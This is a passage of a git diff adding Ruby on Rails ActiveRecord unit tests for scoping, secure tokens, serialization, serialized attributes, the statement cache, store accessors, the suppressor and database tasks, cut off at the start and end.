+    Developer.where(name: "David").scoping do
+      Developer.unscoped do
+        assert_equal "Jamis", Developer.where(name: "Jamis").first[:name]
+      end
+
+      assert_equal "David", Developer.first[:name]
+    end
+  end
+
+  def test_three_level_nested_exclusive_scoped_find
+    Developer.where("name = 'Jamis'").scoping do
+      assert_equal "Jamis", Developer.first.name
+
+      Developer.unscoped.where("name = 'David'") do
+        assert_equal "David", Developer.first.name
+
+        Developer.unscoped.where("name = 'Maiha'") do
+          assert_nil Developer.first
+        end
+
+        # ensure that scoping is restored
+        assert_equal "David", Developer.first.name
+      end
+
+      # ensure that scoping is restored
+      assert_equal "Jamis", Developer.first.name
+    end
+  end
+
+  def test_nested_scoped_create
+    comment = Comment.create_with(post_id: 1).scoping do
+      Comment.create_with(post_id: 2).scoping do
+        Comment.create body: "Hey guys, nested scopes are broken. Please fix!"
+      end
+    end
+
+    assert_equal 2, comment.post_id
+  end
+
+  def test_nested_exclusive_scope_for_create
+    comment = Comment.create_with(body: "Hey guys, nested scopes are broken. Please fix!").scoping do
+      Comment.unscoped.create_with(post_id: 1).scoping do
+        assert Comment.new.body.blank?
+        Comment.create body: "Hey guys"
+      end
+    end
+
+    assert_equal 1, comment.post_id
+    assert_equal "Hey guys", comment.body
+  end
+end
+
+class HasManyScopingTest < ActiveRecord::TestCase
+  fixtures :comments, :posts, :people, :references
+
+  def setup
+    @welcome = Post.find(1)
+  end
+
+  def test_forwarding_of_static_methods
+    assert_equal "a comment...", Comment.what_are_you
+    assert_equal "a comment...", @welcome.comments.what_are_you
+  end
+
+  def test_forwarding_to_scoped
+    assert_equal 4, Comment.search_by_type("Comment").size
+    assert_equal 2, @welcome.comments.search_by_type("Comment").size
+  end
+
+  def test_nested_scope_finder
+    Comment.where("1=0").scoping do
+      assert_equal 0, @welcome.comments.count
+      assert_equal "a comment...", @welcome.comments.what_are_you
+    end
+
+    Comment.where("1=1").scoping do
+      assert_equal 2, @welcome.comments.count
+      assert_equal "a comment...", @welcome.comments.what_are_you
+    end
+  end
+
+  def test_should_maintain_default_scope_on_associations
+    magician = BadReference.find(1)
+    assert_equal [magician], people(:michael).bad_references
+  end
+
+  def test_should_default_scope_on_associations_is_overridden_by_association_conditions
+    reference = references(:michael_unicyclist).becomes(BadReference)
+    assert_equal [reference], people(:michael).fixed_bad_references
+  end
+
+  def test_should_maintain_default_scope_on_eager_loaded_associations
+    michael = Person.where(id: people(:michael).id).includes(:bad_references).first
+    magician = BadReference.find(1)
+    assert_equal [magician], michael.bad_references
+  end
+end
+
+class HasAndBelongsToManyScopingTest < ActiveRecord::TestCase
+  fixtures :posts, :categories, :categories_posts
+
+  def setup
+    @welcome = Post.find(1)
+  end
+
+  def test_forwarding_of_static_methods
+    assert_equal "a category...", Category.what_are_you
+    assert_equal "a category...", @welcome.categories.what_are_you
+  end
+
+  def test_nested_scope_finder
+    Category.where("1=0").scoping do
+      assert_equal 0, @welcome.categories.count
+      assert_equal "a category...", @welcome.categories.what_are_you
+    end
+
+    Category.where("1=1").scoping do
+      assert_equal 2, @welcome.categories.count
+      assert_equal "a category...", @welcome.categories.what_are_you
+    end
+  end
+end
diff --git a/activerecord/test/cases/secure_token_test.rb b/activerecord/test/cases/secure_token_test.rb
new file mode 100644
index 0000000000..f5fa6aa302
--- /dev/null
+++ b/activerecord/test/cases/secure_token_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/user"
+
+class SecureTokenTest < ActiveRecord::TestCase
+  setup do
+    @user = User.new
+  end
+
+  def test_token_values_are_generated_for_specified_attributes_and_persisted_on_save
+    @user.save
+    assert_not_nil @user.token
+    assert_not_nil @user.auth_token
+  end
+
+  def test_regenerating_the_secure_token
+    @user.save
+    old_token = @user.token
+    old_auth_token = @user.auth_token
+    @user.regenerate_token
+    @user.regenerate_auth_token
+
+    assert_not_equal @user.token, old_token
+    assert_not_equal @user.auth_token, old_auth_token
+  end
+
+  def test_token_value_not_overwritten_when_present
+    @user.token = "custom-secure-token"
+    @user.save
+
+    assert_equal "custom-secure-token", @user.token
+  end
+end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
new file mode 100644
index 0000000000..2d829ad4ba
--- /dev/null
+++ b/activerecord/test/cases/serialization_test.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/contact"
+require "models/topic"
+require "models/book"
+require "models/author"
+require "models/post"
+
+class SerializationTest < ActiveRecord::TestCase
+  fixtures :books
+
+  FORMATS = [ :json ]
+
+  def setup
+    @contact_attributes = {
+      name: "aaron stack",
+      age: 25,
+      avatar: "binarydata",
+      created_at: Time.utc(2006, 8, 1),
+      awesome: false,
+      preferences: { gem: "<strong>ruby</strong>" },
+      alternative_id: nil,
+      id: nil
+    }
+  end
+
+  def test_include_root_in_json_is_false_by_default
+    assert_equal false, ActiveRecord::Base.include_root_in_json, "include_root_in_json should be false by default but was not"
+  end
+
+  def test_serialize_should_be_reversible
+    FORMATS.each do |format|
+      @serialized = Contact.new.send("to_#{format}")
+      contact = Contact.new.send("from_#{format}", @serialized)
+
+      assert_equal @contact_attributes.keys.collect(&:to_s).sort, contact.attributes.keys.collect(&:to_s).sort, "For #{format}"
+    end
+  end
+
+  def test_serialize_should_allow_attribute_only_filtering
+    FORMATS.each do |format|
+      @serialized = Contact.new(@contact_attributes).send("to_#{format}", only: [ :age, :name ])
+      contact = Contact.new.send("from_#{format}", @serialized)
+      assert_equal @contact_attributes[:name], contact.name, "For #{format}"
+      assert_nil contact.avatar, "For #{format}"
+    end
+  end
+
+  def test_serialize_should_allow_attribute_except_filtering
+    FORMATS.each do |format|
+      @serialized = Contact.new(@contact_attributes).send("to_#{format}", except: [ :age, :name ])
+      contact = Contact.new.send("from_#{format}", @serialized)
+      assert_nil contact.name, "For #{format}"
+      assert_nil contact.age, "For #{format}"
+      assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
+    end
+  end
+
+  def test_include_root_in_json_allows_inheritance
+    original_root_in_json = ActiveRecord::Base.include_root_in_json
+    ActiveRecord::Base.include_root_in_json = true
+
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = "topics"
+    assert klazz.include_root_in_json
+
+    klazz.include_root_in_json = false
+    assert ActiveRecord::Base.include_root_in_json
+    assert !klazz.include_root_in_json
+    assert !klazz.new.include_root_in_json
+  ensure
+    ActiveRecord::Base.include_root_in_json = original_root_in_json
+  end
+
+  def test_read_attribute_for_serialization_with_format_without_method_missing
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = "books"
+
+    book = klazz.new
+    assert_nil book.read_attribute_for_serialization(:format)
+  end
+
+  def test_read_attribute_for_serialization_with_format_after_init
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = "books"
+
+    book = klazz.new(format: "paperback")
+    assert_equal "paperback", book.read_attribute_for_serialization(:format)
+  end
+
+  def test_read_attribute_for_serialization_with_format_after_find
+    klazz = Class.new(ActiveRecord::Base)
+    klazz.table_name = "books"
+
+    book = klazz.find(books(:awdr).id)
+    assert_equal "paperback", book.read_attribute_for_serialization(:format)
+  end
+
+  def test_find_records_by_serialized_attributes_through_join
+    author = Author.create!(name: "David")
+    author.serialized_posts.create!(title: "Hello")
+
+    assert_equal 1, Author.joins(:serialized_posts).where(name: "David", serialized_posts: { title: "Hello" }).length
+  end
+end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
new file mode 100644
index 0000000000..32dafbd458
--- /dev/null
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -0,0 +1,382 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+require "models/person"
+require "models/traffic_light"
+require "models/post"
+require "bcrypt"
+
+class SerializedAttributeTest < ActiveRecord::TestCase
+  fixtures :topics, :posts
+
+  MyObject = Struct.new :attribute1, :attribute2
+
+  teardown do
+    Topic.serialize("content")
+  end
+
+  def test_serialize_does_not_eagerly_load_columns
+    Topic.reset_column_information
+    assert_no_queries do
+      Topic.serialize(:content)
+    end
+  end
+
+  def test_serialized_attribute
+    Topic.serialize("content", MyObject)
+
+    myobj = MyObject.new("value1", "value2")
+    topic = Topic.create("content" => myobj)
+    assert_equal(myobj, topic.content)
+
+    topic.reload
+    assert_equal(myobj, topic.content)
+  end
+
+  def test_serialized_attribute_in_base_class
+    Topic.serialize("content", Hash)
+
+    hash = { "content1" => "value1", "content2" => "value2" }
+    important_topic = ImportantTopic.create("content" => hash)
+    assert_equal(hash, important_topic.content)
+
+    important_topic.reload
+    assert_equal(hash, important_topic.content)
+  end
+
+  def test_serialized_attributes_from_database_on_subclass
+    Topic.serialize :content, Hash
+
+    t = Reply.new(content: { foo: :bar })
+    assert_equal({ foo: :bar }, t.content)
+    t.save!
+    t = Reply.last
+    assert_equal({ foo: :bar }, t.content)
+  end
+
+  def test_serialized_attribute_calling_dup_method
+    Topic.serialize :content, JSON
+
+    orig = Topic.new(content: { foo: :bar })
+    clone = orig.dup
+    assert_equal(orig.content, clone.content)
+  end
+
+  def test_serialized_json_attribute_returns_unserialized_value
+    Topic.serialize :content, JSON
+    my_post = posts(:welcome)
+
+    t = Topic.new(content: my_post)
+    t.save!
+    t.reload
+
+    assert_instance_of(Hash, t.content)
+    assert_equal(my_post.id, t.content["id"])
+    assert_equal(my_post.title, t.content["title"])
+  end
+
+  def test_json_read_legacy_null
+    Topic.serialize :content, JSON
+
+    # Force a row to have a JSON "null" instead of a database NULL (this is how
+    # null values are saved on 4.1 and before)
+    id = Topic.connection.insert "INSERT INTO topics (content) VALUES('null')"
+    t = Topic.find(id)
+
+    assert_nil t.content
+  end
+
+  def test_json_read_db_null
+    Topic.serialize :content, JSON
+
+    # Force a row to have a database NULL instead of a JSON "null"
+    id = Topic.connection.insert "INSERT INTO topics (content) VALUES(NULL)"
+    t = Topic.find(id)
+
+    assert_nil t.content
+  end
+
+  def test_serialized_attribute_declared_in_subclass
+    hash = { "important1" => "value1", "important2" => "value2" }
+    important_topic = ImportantTopic.create("important" => hash)
+    assert_equal(hash, important_topic.important)
+
+    important_topic.reload
+    assert_equal(hash, important_topic.important)
+    assert_equal(hash, important_topic.read_attribute(:important))
+  end
+
+  def test_serialized_time_attribute
+    myobj = Time.local(2008, 1, 1, 1, 0)
+    topic = Topic.create("content" => myobj).reload
+    assert_equal(myobj, topic.content)
+  end
+
+  def test_serialized_string_attribute
+    myobj = "Yes"
+    topic = Topic.create("content" => myobj).reload
+    assert_equal(myobj, topic.content)
+  end
+
+  def test_nil_serialized_attribute_without_class_constraint
+    topic = Topic.new
+    assert_nil topic.content
+  end
+
+  def test_nil_not_serialized_without_class_constraint
+    assert Topic.new(content: nil).save
+    assert_equal 1, Topic.where(content: nil).count
+  end
+
+  def test_nil_not_serialized_with_class_constraint
+    Topic.serialize :content, Hash
+    assert Topic.new(content: nil).save
+    assert_equal 1, Topic.where(content: nil).count
+  end
+
+  def test_serialized_attribute_should_raise_exception_on_assignment_with_wrong_type
+    Topic.serialize(:content, Hash)
+    assert_raise(ActiveRecord::SerializationTypeMismatch) do
+      Topic.new(content: "string")
+    end
+  end
+
+  def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
+    myobj = MyObject.new("value1", "value2")
+    topic = Topic.new(content: myobj)
+    assert topic.save
+    Topic.serialize(:content, Hash)
+    assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
+  end
+
+  def test_serialized_attribute_with_class_constraint
+    settings = { "color" => "blue" }
+    Topic.serialize(:content, Hash)
+    topic = Topic.new(content: settings)
+    assert topic.save
+    assert_equal(settings, Topic.find(topic.id).content)
+  end
+
+  def test_where_by_serialized_attribute_with_hash
+    settings = { "color" => "green" }
+    Topic.serialize(:content, Hash)
+    topic = Topic.create!(content: settings)
+    assert_equal topic, Topic.where(content: settings).take
+  end
+
+  def test_serialized_default_class
+    Topic.serialize(:content, Hash)
+    topic = Topic.new
+    assert_equal Hash, topic.content.class
+    assert_equal Hash, topic.read_attribute(:content).class
+    topic.content["beer"] = "MadridRb"
+    assert topic.save
+    topic.reload
+    assert_equal Hash, topic.content.class
+    assert_equal "MadridRb", topic.content["beer"]
+  end
+
+  def test_serialized_no_default_class_for_object
+    topic = Topic.new
+    assert_nil topic.content
+  end
+
+  def test_serialized_boolean_value_true
+    topic = Topic.new(content: true)
+    assert topic.save
+    topic = topic.reload
+    assert_equal true, topic.content
+  end
+
+  def test_serialized_boolean_value_false
+    topic = Topic.new(content: false)
+    assert topic.save
+    topic = topic.reload
+    assert_equal false, topic.content
+  end
+
+  def test_serialize_with_coder
+    some_class = Struct.new(:foo) do
+      def self.dump(value)
+        value.foo
+      end
+
+      def self.load(value)
+        new(value)
+      end
+    end
+
+    Topic.serialize(:content, some_class)
+    topic = Topic.new(content: some_class.new("my value"))
+    topic.save!
+    topic.reload
+    assert_kind_of some_class, topic.content
+    assert_equal some_class.new("my value"), topic.content
+  end
+
+  def test_serialize_attribute_via_select_method_when_time_zone_available
+    with_timezone_config aware_attributes: true do
+      Topic.serialize(:content, MyObject)
+
+      myobj = MyObject.new("value1", "value2")
+      topic = Topic.create(content: myobj)
+
+      assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+      assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+    end
+  end
+
+  def test_serialize_attribute_can_be_serialized_in_an_integer_column
+    insures = ["life"]
+    person = SerializedPerson.new(first_name: "David", insures: insures)
+    assert person.save
+    person = person.reload
+    assert_equal(insures, person.insures)
+  end
+
+  def test_regression_serialized_default_on_text_column_with_null_false
+    light = TrafficLight.new
+    assert_equal [], light.state
+    assert_equal [], light.long_state
+  end
+
+  def test_unexpected_serialized_type
+    Topic.serialize :content, Hash
+    topic = Topic.create!(content: { zomg: true })
+
+    Topic.serialize :content, Array
+
+    topic.reload
+    error = assert_raise(ActiveRecord::SerializationTypeMismatch) do
+      topic.content
+    end
+    expected = "can't load `content`: was supposed to be a Array, but was a Hash. -- {:zomg=>true}"
+    assert_equal expected, error.to_s
+  end
+
+  def test_serialized_column_should_unserialize_after_update_column
+    t = Topic.create(content: "first")
+    assert_equal("first", t.content)
+
+    t.update_column(:content, ["second"])
+    assert_equal(["second"], t.content)
+    assert_equal(["second"], t.reload.content)
+  end
+
+  def test_serialized_column_should_unserialize_after_update_attribute
+    t = Topic.create(content: "first")
+    assert_equal("first", t.content)
+
+    t.update_attribute(:content, "second")
+    assert_equal("second", t.content)
+    assert_equal("second", t.reload.content)
+  end
+
+  def test_nil_is_not_changed_when_serialized_with_a_class
+    Topic.serialize(:content, Array)
+
+    topic = Topic.new(content: nil)
+
+    assert_not topic.content_changed?
+  end
+
+  def test_classes_without_no_arg_constructors_are_not_supported
+    assert_raises(ArgumentError) do
+      Topic.serialize(:content, Regexp)
+    end
+  end
+
+  def test_newly_emptied_serialized_hash_is_changed
+    Topic.serialize(:content, Hash)
+    topic = Topic.create(content: { "things" => "stuff" })
+    topic.content.delete("things")
+    topic.save!
+    topic.reload
+
+    assert_equal({}, topic.content)
+  end
+
+  def test_values_cast_from_nil_are_persisted_as_nil
+    # This is required to fulfil the following contract, which must be universally
+    # true in Active Record:
+    #
+    # model.attribute = value
+    # assert_equal model.attribute, model.tap(&:save).reload.attribute
+    Topic.serialize(:content, Hash)
+    topic = Topic.create!(content: {})
+    topic2 = Topic.create!(content: nil)
+
+    assert_equal [topic, topic2], Topic.where(content: nil)
+  end
+
+  def test_nil_is_always_persisted_as_null
+    Topic.serialize(:content, Hash)
+
+    topic = Topic.create!(content: { foo: "bar" })
+    topic.update_attribute :content, nil
+    assert_equal [topic], Topic.where(content: nil)
+  end
+
+  def test_mutation_detection_does_not_double_serialize
+    coder = Object.new
+    def coder.dump(value)
+      return if value.nil?
+      value + " encoded"
+    end
+    def coder.load(value)
+      return if value.nil?
+      value.gsub(" encoded", "")
+    end
+    type = Class.new(ActiveModel::Type::Value) do
+      include ActiveModel::Type::Helpers::Mutable
+
+      def serialize(value)
+        return if value.nil?
+        value + " serialized"
+      end
+
+      def deserialize(value)
+        return if value.nil?
+        value.gsub(" serialized", "")
+      end
+    end.new
+    model = Class.new(Topic) do
+      attribute :foo, type
+      serialize :foo, coder
+    end
+
+    topic = model.create!(foo: "bar")
+    topic.foo
+    refute topic.changed?
+  end
+
+  def test_serialized_attribute_works_under_concurrent_initial_access
+    model = Topic.dup
+
+    topic = model.last
+    topic.update group: "1"
+
+    model.serialize :group, JSON
+    model.reset_column_information
+
+    # This isn't strictly necessary for the test, but a little bit of
+    # knowledge of internals allows us to make failures far more likely.
+    model.define_singleton_method(:define_attribute) do |*args|
+      Thread.pass
+      super(*args)
+    end
+
+    threads = 4.times.map do
+      Thread.new do
+        topic.reload.group
+      end
+    end
+
+    # All the threads should retrieve the value knowing it is JSON, and
+    # thus decode it. If this fails, some threads will instead see the
+    # raw string ("1"), or raise an exception.
+    assert_equal [1] * threads.size, threads.map(&:value)
+  end
+end
diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb
new file mode 100644
index 0000000000..e2142267ea
--- /dev/null
+++ b/activerecord/test/cases/statement_cache_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/book"
+require "models/liquid"
+require "models/molecule"
+require "models/electron"
+
+module ActiveRecord
+  class StatementCacheTest < ActiveRecord::TestCase
+    def setup
+      @connection = ActiveRecord::Base.connection
+    end
+
+    #Cache v 1.1 tests
+    def test_statement_cache
+      Book.create(name: "my book")
+      Book.create(name: "my other book")
+
+      cache = StatementCache.create(Book.connection) do |params|
+        Book.where(name: params.bind)
+      end
+
+      b = cache.execute([ "my book" ], Book, Book.connection)
+      assert_equal "my book", b[0].name
+      b = cache.execute([ "my other book" ], Book, Book.connection)
+      assert_equal "my other book", b[0].name
+    end
+
+    def test_statement_cache_id
+      b1 = Book.create(name: "my book")
+      b2 = Book.create(name: "my other book")
+
+      cache = StatementCache.create(Book.connection) do |params|
+        Book.where(id: params.bind)
+      end
+
+      b = cache.execute([ b1.id ], Book, Book.connection)
+      assert_equal b1.name, b[0].name
+      b = cache.execute([ b2.id ], Book, Book.connection)
+      assert_equal b2.name, b[0].name
+    end
+
+    def test_find_or_create_by
+      Book.create(name: "my book")
+
+      a = Book.find_or_create_by(name: "my book")
+      b = Book.find_or_create_by(name: "my other book")
+
+      assert_equal("my book", a.name)
+      assert_equal("my other book", b.name)
+    end
+
+    #End
+
+    def test_statement_cache_with_simple_statement
+      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+        Book.where(name: "my book").where("author_id > 3")
+      end
+
+      Book.create(name: "my book", author_id: 4)
+
+      books = cache.execute([], Book, Book.connection)
+      assert_equal "my book", books[0].name
+    end
+
+    def test_statement_cache_with_complex_statement
+      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+        Liquid.joins(molecules: :electrons).where("molecules.name" => "dioxane", "electrons.name" => "lepton")
+      end
+
+      salty = Liquid.create(name: "salty")
+      molecule = salty.molecules.create(name: "dioxane")
+      molecule.electrons.create(name: "lepton")
+
+      liquids = cache.execute([], Book, Book.connection)
+      assert_equal "salty", liquids[0].name
+    end
+
+    def test_statement_cache_values_differ
+      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+        Book.where(name: "my book")
+      end
+
+      3.times do
+        Book.create(name: "my book")
+      end
+
+      first_books = cache.execute([], Book, Book.connection)
+
+      3.times do
+        Book.create(name: "my book")
+      end
+
+      additional_books = cache.execute([], Book, Book.connection)
+      assert first_books != additional_books
+    end
+
+    def test_unprepared_statements_dont_share_a_cache_with_prepared_statements
+      Book.create(name: "my book")
+      Book.create(name: "my other book")
+
+      book = Book.find_by(name: "my book")
+      other_book = Book.connection.unprepared_statement do
+        Book.find_by(name: "my other book")
+      end
+
+      refute_equal book, other_book
+    end
+
+    def test_find_by_does_not_use_statement_cache_if_table_name_is_changed
+      book = Book.create(name: "my book")
+
+      Book.find_by(name: book.name) # warming the statement cache.
+
+      # changing the table name should change the query that is not cached.
+      Book.table_name = :birds
+      assert_nil Book.find_by(name: book.name)
+    ensure
+      Book.table_name = :books
+    end
+
+    def test_find_does_not_use_statement_cache_if_table_name_is_changed
+      book = Book.create(name: "my book")
+
+      Book.find(book.id) # warming the statement cache.
+
+      # changing the table name should change the query that is not cached.
+      Book.table_name = :birds
+      assert_raise ActiveRecord::RecordNotFound do
+        Book.find(book.id)
+      end
+    ensure
+      Book.table_name = :books
+    end
+  end
+end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
new file mode 100644
index 0000000000..ebf4016960
--- /dev/null
+++ b/activerecord/test/cases/store_test.rb
@@ -0,0 +1,197 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/admin"
+require "models/admin/user"
+
+class StoreTest < ActiveRecord::TestCase
+  fixtures :'admin/users'
+
+  setup do
+    @john = Admin::User.create!(name: "John Doe", color: "black", remember_login: true, height: "tall", is_a_good_guy: true)
+  end
+
+  test "reading store attributes through accessors" do
+    assert_equal "black", @john.color
+    assert_nil @john.homepage
+  end
+
+  test "writing store attributes through accessors" do
+    @john.color = "red"
+    @john.homepage = "37signals.com"
+
+    assert_equal "red", @john.color
+    assert_equal "37signals.com", @john.homepage
+  end
+
+  test "accessing attributes not exposed by accessors" do
+    @john.settings[:icecream] = "graeters"
+    @john.save
+
+    assert_equal "graeters", @john.reload.settings[:icecream]
+  end
+
+  test "overriding a read accessor" do
+    @john.settings[:phone_number] = "1234567890"
+
+    assert_equal "(123) 456-7890", @john.phone_number
+  end
+
+  test "overriding a read accessor using super" do
+    @john.settings[:color] = nil
+
+    assert_equal "red", @john.color
+  end
+
+  test "updating the store will mark it as changed" do
+    @john.color = "red"
+    assert @john.settings_changed?
+  end
+
+  test "updating the store populates the changed array correctly" do
+    @john.color = "red"
+    assert_equal "black", @john.settings_change[0]["color"]
+    assert_equal "red", @john.settings_change[1]["color"]
+  end
+
+  test "updating the store won't mark it as changed if an attribute isn't changed" do
+    @john.color = @john.color
+    assert !@john.settings_changed?
+  end
+
+  test "object initialization with not nullable column" do
+    assert_equal true, @john.remember_login
+  end
+
+  test "writing with not nullable column" do
+    @john.remember_login = false
+    assert_equal false, @john.remember_login
+  end
+
+  test "overriding a write accessor" do
+    @john.phone_number = "(123) 456-7890"
+
+    assert_equal "1234567890", @john.settings[:phone_number]
+  end
+
+  test "overriding a write accessor using super" do
+    @john.color = "yellow"
+
+    assert_equal "blue", @john.color
+  end
+
+  test "preserve store attributes data in HashWithIndifferentAccess format without any conversion" do
+    @john.json_data = ActiveSupport::HashWithIndifferentAccess.new(:height => "tall", "weight" => "heavy")
+    @john.height = "low"
+    assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+    assert_equal "low", @john.json_data[:height]
+    assert_equal "low", @john.json_data["height"]
+    assert_equal "heavy", @john.json_data[:weight]
+    assert_equal "heavy", @john.json_data["weight"]
+  end
+
+  test "convert store attributes from Hash to HashWithIndifferentAccess saving the data and access attributes indifferently" do
+    user = Admin::User.find_by_name("Jamis")
+    assert_equal "symbol",  user.settings[:symbol]
+    assert_equal "symbol",  user.settings["symbol"]
+    assert_equal "string",  user.settings[:string]
+    assert_equal "string",  user.settings["string"]
+    assert_equal true,      user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+
+    user.height = "low"
+    assert_equal "symbol",  user.settings[:symbol]
+    assert_equal "symbol",  user.settings["symbol"]
+    assert_equal "string",  user.settings[:string]
+    assert_equal "string",  user.settings["string"]
+    assert_equal true,      user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+  end
+
+  test "convert store attributes from any format other than Hash or HashWithIndifferentAccess losing the data" do
+    @john.json_data = "somedata"
+    @john.height = "low"
+    assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+    assert_equal "low", @john.json_data[:height]
+    assert_equal "low", @john.json_data["height"]
+    assert_equal false, @john.json_data.delete_if { |k, v| k == "height" }.any?
+  end
+
+  test "reading store attributes through accessors encoded with JSON" do
+    assert_equal "tall", @john.height
+    assert_nil @john.weight
+  end
+
+  test "writing store attributes through accessors encoded with JSON" do
+    @john.height = "short"
+    @john.weight = "heavy"
+
+    assert_equal "short", @john.height
+    assert_equal "heavy", @john.weight
+  end
+
+  test "accessing attributes not exposed by accessors encoded with JSON" do
+    @john.json_data["somestuff"] = "somecoolstuff"
+    @john.save
+
+    assert_equal "somecoolstuff", @john.reload.json_data["somestuff"]
+  end
+
+  test "updating the store will mark it as changed encoded with JSON" do
+    @john.height = "short"
+    assert @john.json_data_changed?
+  end
+
+  test "object initialization with not nullable column encoded with JSON" do
+    assert_equal true, @john.is_a_good_guy
+  end
+
+  test "writing with not nullable column encoded with JSON" do
+    @john.is_a_good_guy = false
+    assert_equal false, @john.is_a_good_guy
+  end
+
+  test "all stored attributes are returned" do
+    assert_equal [:color, :homepage, :favorite_food], Admin::User.stored_attributes[:settings]
+  end
+
+  test "stored_attributes are tracked per class" do
+    first_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :color
+    end
+    second_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :width, :height
+    end
+
+    assert_equal [:color], first_model.stored_attributes[:data]
+    assert_equal [:width, :height], second_model.stored_attributes[:data]
+  end
+
+  test "stored_attributes are tracked per subclass" do
+    first_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :color
+    end
+    second_model = Class.new(first_model) do
+      store_accessor :data, :width, :height
+    end
+    third_model = Class.new(first_model) do
+      store_accessor :data, :area, :volume
+    end
+
+    assert_equal [:color], first_model.stored_attributes[:data]
+    assert_equal [:color, :width, :height], second_model.stored_attributes[:data]
+    assert_equal [:color, :area, :volume], third_model.stored_attributes[:data]
+    assert_equal [:color], first_model.stored_attributes[:data]
+  end
+
+  test "YAML coder initializes the store when a Nil value is given" do
+    assert_equal({}, @john.params)
+  end
+
+  test "dump, load and dump again a model" do
+    dumped = YAML.dump(@john)
+    loaded = YAML.load(dumped)
+    assert_equal @john, loaded
+
+    second_dump = YAML.dump(loaded)
+    assert_equal @john, YAML.load(second_dump)
+  end
+end
diff --git a/activerecord/test/cases/suppressor_test.rb b/activerecord/test/cases/suppressor_test.rb
new file mode 100644
index 0000000000..b68f0033d9
--- /dev/null
+++ b/activerecord/test/cases/suppressor_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/notification"
+require "models/user"
+
+class SuppressorTest < ActiveRecord::TestCase
+  def test_suppresses_create
+    assert_no_difference -> { Notification.count } do
+      Notification.suppress do
+        Notification.create
+        Notification.create!
+        Notification.new.save
+        Notification.new.save!
+      end
+    end
+  end
+
+  def test_suppresses_update
+    user = User.create! token: "asdf"
+
+    User.suppress do
+      user.update token: "ghjkl"
+      assert_equal "asdf", user.reload.token
+
+      user.update! token: "zxcvbnm"
+      assert_equal "asdf", user.reload.token
+
+      user.token = "qwerty"
+      user.save
+      assert_equal "asdf", user.reload.token
+
+      user.token = "uiop"
+      user.save!
+      assert_equal "asdf", user.reload.token
+    end
+  end
+
+  def test_suppresses_create_in_callback
+    assert_difference -> { User.count } do
+      assert_no_difference -> { Notification.count } do
+        Notification.suppress { UserWithNotification.create! }
+      end
+    end
+  end
+
+  def test_resumes_saving_after_suppression_complete
+    Notification.suppress { UserWithNotification.create! }
+
+    assert_difference -> { Notification.count } do
+      Notification.create!(message: "New Comment")
+    end
+  end
+
+  def test_suppresses_validations_on_create
+    assert_no_difference -> { Notification.count } do
+      Notification.suppress do
+        User.create
+        User.create!
+        User.new.save
+        User.new.save!
+      end
+    end
+  end
+
+  def test_suppresses_when_nested_multiple_times
+    assert_no_difference -> { Notification.count } do
+      Notification.suppress do
+        Notification.suppress {}
+        Notification.create
+        Notification.create!
+        Notification.new.save
+        Notification.new.save!
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
new file mode 100644
index 0000000000..1495d2ab89
--- /dev/null
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -0,0 +1,491 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+
+module ActiveRecord
+  module DatabaseTasksSetupper
+    def setup
+      @mysql_tasks, @postgresql_tasks, @sqlite_tasks = stub, stub, stub
+      ActiveRecord::Tasks::MySQLDatabaseTasks.stubs(:new).returns @mysql_tasks
+      ActiveRecord::Tasks::PostgreSQLDatabaseTasks.stubs(:new).returns @postgresql_tasks
+      ActiveRecord::Tasks::SQLiteDatabaseTasks.stubs(:new).returns @sqlite_tasks
+
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+  end
+
+  ADAPTERS_TASKS = {
+    mysql2:     :mysql_tasks,
+    postgresql: :postgresql_tasks,
+    sqlite3:    :sqlite_tasks
+  }
+
+  class DatabaseTasksUtilsTask < ActiveRecord::TestCase
+    def test_raises_an_error_when_called_with_protected_environment
+      ActiveRecord::Migrator.stubs(:current_version).returns(1)
+
+      protected_environments = ActiveRecord::Base.protected_environments.dup
+      current_env            = ActiveRecord::Migrator.current_environment
+      assert_not_includes protected_environments, current_env
+      # Assert no error
+      ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+
+      ActiveRecord::Base.protected_environments << current_env
+      assert_raise(ActiveRecord::ProtectedEnvironmentError) do
